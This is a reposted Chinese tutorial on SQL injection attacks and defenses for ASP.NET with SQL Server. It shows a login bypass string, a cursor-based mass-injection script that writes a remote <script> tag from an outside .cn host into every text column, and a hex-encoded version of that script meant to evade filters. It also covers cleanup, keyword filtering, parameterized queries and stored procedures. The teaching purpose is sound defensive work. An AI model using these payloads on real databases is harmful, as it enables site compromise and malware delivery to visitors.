当前位置: 代码网 > 服务器>网络安全>脚本攻防 > SQL注入攻防入门详解 [图文并茂] 附示例下载

SQL注入攻防入门详解 [图文并茂] 附示例下载

2012年11月06日 脚本攻防 我要评论
SQL注入攻防入门详解 [图文并茂] 附示例下载毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识... 12-11-06
=============安全性篇目录==============

毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。

(对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文)

下面的程序方案是采用 asp.net + mssql,其他技术在设置上会有少许不同。
示例程序下载:sql注入攻防入门详解_示例

什么是sql注入(sql injection)
所谓sql注入式攻击,就是攻击者把sql命令插入到web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的sql命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态sql命令,或作为存储过程的输入参数,这类表单特别容易受到sql注入式攻击。

尝尝sql注入

1. 一个简单的登录页面
关键代码:(详细见下载的示例代码)

复制代码
代码如下:

privateboolnoprotectlogin(string username, string password)
{
int count = (int)sqlhelper.instance.executescalar(string.format
("select count(*) from login where username='{0}' and password='{1}'", username, password));
return count > 0 ? true : false;
}

方法中username和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的sql会存在注入漏洞。(帐户:admin 123456)
1) 输入正常数据,效果如图:

image

合并的sql为:
select count(*) from login where username='admin' and password='123456'

2) 输入注入数据:
如图,即用户名为:用户名:admin’—,密码可随便输入

image

合并的sql为:
select count(*) from login where username='admin'-- password='123'
因为username值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手法:前面加上'; ' (分号,用于结束前一条语句),后边加上'--' (用于注释后边的语句))

2. 上面是最简单的一种sql注入,常见的注入语句还有:

复制代码
代码如下:

declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for
select a.name,b.name
from sysobjectsa,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+''<script src=http://8f8el3l.cn/0.js></script>''')
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocatetable_cursor

b) 更高级的攻击,将上面的注入sql进行“hex编码”,从而避免程序的关键字检查、脚本转义等,通过exec执行

复制代码
代码如下:

declare @s varchar(8000) set @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;
exec(@s);--

c) 批次删除数据库被注入的脚本

复制代码
代码如下:

declare @delstrnvarchar(500)
set @delstr='<script src=http://8f8el3l.cn/0.js></script>' --要被替换掉字符
setnocount on
declare @tablenamenvarchar(100),@columnnamenvarchar(100),@tbidint,@irowint,@iresultint
declare @sqlnvarchar(500)
set @iresult=0
declare cur cursor for
selectname,id from sysobjects where xtype='u'
open cur
fetch next from cur into @tablename,@tbid
while @@fetch_status=0
begin
declare cur1 cursor for
--xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型
select name from syscolumns where xtype in (231,167,239,175) and id=@tbid
open cur1
fetch next from cur1 into @columnname
while @@fetch_status=0
begin
set @sql='update [' + @tablename + '] set ['+ @columnname +']= replace(['+@columnname+'],'''+@delstr+''','''') where ['+@columnname+'] like ''%'+@delstr+'%'''
execsp_executesql @sql
set @irow=@@rowcount
set @iresult=@iresult+@irow
if @irow>0
begin
print '表:'+@tablename+',列:'+@columnname+'被更新'+convert(varchar(10),@irow)+'条记录;'
end
fetch next from cur1 into @columnname
end
close cur1
deallocate cur1
fetch next from cur into @tablename,@tbid
end
print '数据库共有'+convert(varchar(10),@iresult)+'条记录被更新!!!'
close cur
deallocate cur
setnocount off

d) 我如何得到“hex编码”?

开始不知道hex是什么东西,后面查了是“十六进制”,网上已经给出两种转换方式:(注意转换的时候不要加入十六进制的标示符 ’0x’ )

ø 在线转换 (translator, binary),进入……
ø c#版的转换,进入……

防止sql注入

1. 数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户。
如mssql中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
2. 自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。
在 asp.net 中,可通过web.config配置文件的<customerrors>节点设置:

复制代码
代码如下:

<customerrors defaultredirect="url" mode="on|off|remoteonly">
<error. . ./>
</customerrors>

image

设置为<customerrors mode="off">:

image

3. 把危险的和不必要的存储过程删除

xp_:扩展存储过程的前缀,sql注入攻击得手之后,攻击者往往会通过执行xp_cmdshell之类的扩展存储过程,获取系统信息,甚至控制、破坏系统。

4. 非参数化sql与参数化sql
1) 非参数化(动态拼接sql)
a) 检查客户端脚本:若使用.net,直接用system.net.webutility.htmlencode(string)将输入值中包含的《html特殊转义字符》转换掉。
b) 类型检查:对接收数据有明确要求的,在方法内进行类型验证。如数值型用int.tryparse(),日期型用datetime.tryparse() ,只能用英文或数字等。
c) 长度验证:要进行必要的注入,其语句也是有长度的。所以如果你原本只允许输入10字符,那么严格控制10个字符长度,一些注入语句就没办法进行。
d) 使用枚举:如果只有有限的几个值,就用枚举。
e) 关键字过滤:这个门槛比较高,因为各个数据库存在关键字,内置函数的差异,所以对编写此函数的功底要求较高。如公司或个人有积累一个比较好的通用过滤函数还请留言分享下,学习学习,谢谢!
这边提供一个关键字过滤参考方案(mssql):

复制代码
代码如下:

public static bool valiparms(string parms)
{
if (parms == null)
{
return false;
}
regex regex = new regex("sp_", regexoptions.ignorecase);
regex regex2 = new regex("'", regexoptions.ignorecase);
regex regex3 = new regex("create ", regexoptions.ignorecase);
regex regex4 = new regex("drop ", regexoptions.ignorecase);
regex regex5 = new regex("select ", regexoptions.ignorecase);
regex regex6 = new regex("\"", regexoptions.ignorecase);
regex regex7 = new regex("exec ", regexoptions.ignorecase);
regex regex8 = new regex("xp_", regexoptions.ignorecase);
regex regex9 = new regex("insert ", regexoptions.ignorecase);
regex regex10 = new regex("update ", regexoptions.ignorecase);
return (regex.ismatch(parms) || (regex2.ismatch(parms) || (regex3.ismatch(parms) || (regex4.ismatch(parms) || (regex5.ismatch(parms) || (regex6.ismatch(parms) || (regex7.ismatch(parms) || (regex8.ismatch(parms) || (regex9.ismatch(parms) || regex10.ismatch(parms))))))))));
}

优点:写法相对简单,网络传输量相对参数化拼接sql小
缺点:
a) 对于关键字过滤,常常“顾此失彼”,如漏掉关键字,系统函数,对于hex编码的sql语句没办法识别等等,并且需要针对各个数据库封装函数。
b) 无法满足需求:用户本来就想发表包含这些过滤字符的数据。
c) 执行拼接的sql浪费大量缓存空间来存储只用一次的查询计划。服务器的物理内存有限,sqlserver的缓存空间也有限。有限的空间应该被充分利用。
2) 参数化查询(parameterized query)
a) 检查客户端脚本,类型检查,长度验证,使用枚举,明确的关键字过滤这些操作也是需要的。他们能尽早检查出数据的有效性。
b) 参数化查询原理:在使用参数化查询的情况下,数据库服务器不会将参数的内容视为sql指令的一部份来处理,而是在数据库完成 sql 指令的编译后,才套用参数运行,因此就算参数中含有具有损的指令,也不会被数据库所运行。
c) 所以在实际开发中,入口处的安全检查是必要的,参数化查询应作为最后一道安全防线。
优点:
ø 防止sql注入(使单引号、分号、注释符、xp_扩展函数、拼接sql语句、exec、select、update、delete等sql指令无效化)
ø 参数化查询能强制执行类型和长度检查。
ø 在mssql中生成并重用查询计划,从而提高查询效率(执行一条sql语句,其生成查询计划将消耗大于50%的时间)
缺点:
ø 不是所有数据库都支持参数化查询。目前access、sql server、mysql、sqlite、oracle等常用数据库支持参数化查询。

疑问:参数化如何“批量更新”数据库。
a) 通过在参数名上增加一个计数来区分开多个参数化语句拼接中的同名参数。
eg:

复制代码
代码如下:

stringbuilder sqlbuilder=new stringbuilder(512);
int count=0;
for(循环)
{
sqlbuilder.appendformat(“update login set password=@password{0} where username=@username{0}”,count.tostring());
sqlparameter para=new sqlparamter(){parametername=@password+count.tostring()}
……
count++;
}

b) 通过mssql 2008的新特性:表值参数,将c#中的整个表当参数传递给存储过程,由sql做逻辑处理。注意c#中参数设置parameter.sqldbtype = system.data.sqldbtype.structured; 详细请查看……
疑虑:有部份的开发人员可能会认为使用参数化查询,会让程序更不好维护,或者在实现部份功能上会非常不便,然而,使用参数化查询造成的额外开发成本,通常都远低于因为sql注入攻击漏洞被发现而遭受攻击,所造成的重大损失。
另外:想验证重用查询计划的同学,可以使用下面两段辅助语法

复制代码
代码如下:

--清空缓存的查询计划
dbcc freeproccache
go
--查询缓存的查询计划
select stats.execution_count as cnt, p.size_in_bytes as [size], [sql].[text] as [plan_text]
from sys.dm_exec_cached_plans p
outer apply sys.dm_exec_sql_text (p.plan_handle) sql
join sys.dm_exec_query_stats stats on stats.plan_handle = p.plan_handle
go

3)   参数化查询示例

效果如图:

image

参数化关键代码:


复制代码
代码如下:

private bool protectlogin(string username, string password)
{
sqlparameter[] parameters = new sqlparameter[]
{
new sqlparameter{parametername="@username",sqldbtype=sqldbtype.nvarchar,size=10,value=username},
new sqlparameter{parametername="@password",sqldbtype=sqldbtype.varchar,size=20,value=password}
};
int count = (int)sqlhelper.instance.executescalar
("select count(*) from login where username=@username and password=@password", parameters);
return count > 0 ? true : false;
}

5. 存储过程

存储过程(stored procedure)是在大型数据库系统中,一组为了完成特定功能的sql 语句集,经编译后存储在数据库中,用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。

优点:

a) 安全性高,防止sql注入并且可设定只有某些用户才能使用指定存储过程。

b) 在创建时进行预编译,后续的调用不需再重新编译。

c) 可以降低网络的通信量。存储过程方案中用传递存储过程名来代替sql语句。

缺点:

a) 非应用程序内联代码,调式麻烦。

b) 修改麻烦,因为要不断的切换开发工具。(不过也有好的一面,一些易变动的规则做到存储过程中,如变动就不需要重新编译应用程序)

c) 如果在一个程序系统中大量的使用存储过程,到程序交付使用的时候随着用户需求的增加会导致数据结构的变化,接着就是系统的相关问题了,最后如果用户想维护该系统可以说是很难很难(eg:没有vs的查询功能)。

演示请下载示例程序,关键代码为:

复制代码
代码如下:

cmd.commandtext = procname; // 传递存储过程名
cmd.commandtype = commandtype.storedprocedure; // 标识解析为存储过程

如果在存储过程中sql语法很复杂需要根据逻辑进行拼接,这时是否还具有放注入的功能?

答:mssql中可以通过 exec 和sp_executesql动态执行拼接的sql语句,但sp_executesql支持替换 transact-sql 字符串中指定的任何参数值, execute 语句不支持。所以只有使用sp_executesql方式才能启到参数化防止sql注入。

关键代码:(详细见示例)

a) sp_executesql


复制代码
代码如下:

create procedure proc_login_executesql(
@usernamenvarchar(10),
@password nvarchar(10),
@count int output
)
as
begin
declare @s nvarchar(1000);
set @s=n'select @count=count(*) from login where username=@username and password=@password';
exec sp_executesql @s,n'@usernamenvarchar(10),@password nvarchar(10),@count int output',@username=@username,@password=@password,@count=@count output
end

b) execute(注意sql中拼接字符,对于字符参数需要额外包一层单引号,需要输入两个单引号来标识sql中的一个单引号)

复制代码
代码如下:

create procedure proc_login_exec(
@usernamenvarchar(10),
@password varchar(20)
)
as
begin
declare @s nvarchar(1000);
set @s='select @count=count(*) from login where username='''+cast(@username as nvarchar(10))+''' and password='''+cast(@password as varchar(20))+'''';
exec('declare @count int;' +@s+'select @count');
end

注入截图如下:

      image

6. 专业的sql注入工具及防毒软件
情景1
a:“丫的,又中毒了……”
b:“我看看,你这不是裸机在跑吗?”
电脑上至少也要装一款杀毒软件或木马扫描软件,这样可以避免一些常见的侵入。比如开篇提到的sql创建windows帐户,就会立马报出警报。

情景2
a:“终于把网站做好了,太完美了,已经检查过没有漏洞了!”
a:“网站怎么被黑了,怎么入侵的???”
公司或个人有财力的话还是有必要购买一款专业sql注入工具来验证下自己的网站,这些工具毕竟是专业的安全人员研发,在安全领域都有自己的独到之处。sql注入工具介绍:10个sql注入工具

7. 额外小知识:like中的通配符
尽管这个不属于sql注入,但是其被恶意使用的方式是和sql注入类似的。

在模糊查询like中,对于输入数据中的通配符必须转义,否则会造成客户想查询包含这些特殊字符的数据时,这些特殊字符却被解析为通配符。不与 like 一同使用的通配符将解释为常量而非模式。

注意使用通配符的索引性能问题:

a) like的第一个字符是'%'或'_'时,为未知字符不会使用索引, sql会遍历全表。

b) 若通配符放在已知字符后面,会使用索引。

网上有这样的说法,不过我在mssql中使用 ctrl+l 执行语法查看索引使用情况却都没有使用索引,可能在别的数据库中会使用到索引吧……

截图如下:

image

有两种将通配符转义为普通字符的方法:

复制代码
代码如下:

private static string convertsqlforlike(string sql)
{
sql = sql.replace("[", "[[]"); // 这句话一定要在下面两个语句之前,否则作为转义符的方括号会被当作数据被再次处理
sql = sql.replace("_", "[_]");
sql = sql.replace("%", "[%]");
returnsql;
}

结束语:感谢你耐心的观看。恭喜你, sql安全攻防你已经入门了……

原文 http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html
(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com